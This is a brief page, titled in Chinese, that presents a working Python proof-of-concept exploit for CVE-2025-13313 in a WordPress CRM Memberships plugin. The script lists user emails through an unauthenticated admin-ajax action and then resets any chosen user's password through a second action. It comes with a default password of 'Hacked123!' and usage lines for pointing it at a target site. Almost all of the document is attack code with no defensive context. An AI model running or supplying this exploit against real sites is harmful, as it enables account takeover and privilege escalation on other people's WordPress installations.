CVE-2025-13313 WordPress CRM Memberships 密码重置权限提升漏洞

import requests import argparse def enumerate_users(target_url): """Enumerate user emails via ntzcrm_get_users endpoint""" endpoint = f"{target_url}/wp-admin/admin-ajax.php" data = { 'action': 'ntzcrm_get_users' } response = requests.post(endpoint, data=data) if response.status_code == 200: print(f"[+] Users enumerated: {response.text}") return response.json() return None def reset_password(target_url, email, new_password): """Reset user password via ntzcrm_changepassword endpoint""" endpoint = f"{target_url}/wp-admin/admin-ajax.php" data = { 'action': 'ntzcrm_changepassword', 'email': email, 'new_password': new_password } response = requests.post(endpoint, data=data) if response.status_code == 200: print(f"[+] Password reset response: {response.text}") return True return False def main(): parser = argparse.ArgumentParser(description='CVE-2025-13313 PoC') parser.add_argument('--url', required=True, help='Target WordPress site URL') parser.add_argument('--email', help='Target user email') parser.add_argument('--password', default='Hacked123!', help='New password') parser.add_argument('--enumerate', action='store_true', help='Enumerate users first') args = parser.parse_args() if args.enumerate: users = enumerate_users(args.url) if users: print(f"[+] Found {len(users)} users") if args.email: print(f"[*] Resetting password for {args.email}") reset_password(args.url, args.email, args.password) if __name__ == '__main__': main() # Usage: # 1. Enumerate users: python poc.py --url http://target.com --enumerate # 2. Reset password: python poc.py --url http://target.com --email [email protected] --password NewPass123!